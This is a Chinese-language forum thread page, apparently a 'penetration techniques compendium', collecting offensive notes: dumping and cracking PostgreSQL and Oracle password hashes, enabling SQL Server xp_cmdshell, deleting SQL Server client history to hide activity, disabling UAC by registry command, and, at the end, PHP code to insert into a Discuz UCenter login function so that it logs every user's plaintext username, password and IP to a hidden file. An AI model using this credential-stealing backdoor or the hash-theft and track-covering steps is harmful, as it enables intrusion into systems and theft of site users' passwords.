select usename, passwd from pg_shadow;
usename      |passwd
——————+————————————-
testuser            | md5fabb6d7172aadfda4753bf0507ed4396
use mdcrack to crack these hashes:-
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396

Oracle:-
select name, password, spare4 from sys.user$
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g
More on Oracle later, i am a bit bored….


在sql server2005/2008中开启xp_cmdshell
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
SQL 2008 server日志清除,在清楚前一定要备份。
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
X:\Users\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin

对于SQL Server 2008以前的版本:
SQL Server 2005:
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
SQL Server 2000:
清除注册表HKEY_CURRENT_USER\Software\Microsoft\MicrosoftSQLServer\80\Tools\Client\PrefServers\相应的内容即可。

本帖最后由 simeon 于 2013-1-3 09:51 编辑


windows 2008 文件权限修改
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,

Windows Registry Editor Version 5.00

@="管理员取得所有权"
"NoWorkingDirectory"=""

@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"

@="管理员取得所有权"
"NoWorkingDirectory"=""

@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"


@="管理员取得所有权"
"NoWorkingDirectory"=""

@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"


win7右键“管理员取得所有权”.reg导入
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,
1、C:\Windows这个路径的“notepad.exe”不需要替换
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
3、四个“notepad.exe.mui”不要管
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。
windows 2008中关闭安全策略:
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
修改uc_client目录下的client.php 在
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
if(getenv('HTTP_CLIENT_IP')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$onlineip = getenv('REMOTE_ADDR');
} else {
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
   $showtime=date("Y-m-d H:i:s");
    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
    $handle=fopen('./data/cache/csslog.php','a+');
    $write=fwrite($handle,$record);
页: [1]
查看完整版本: 渗透技术大全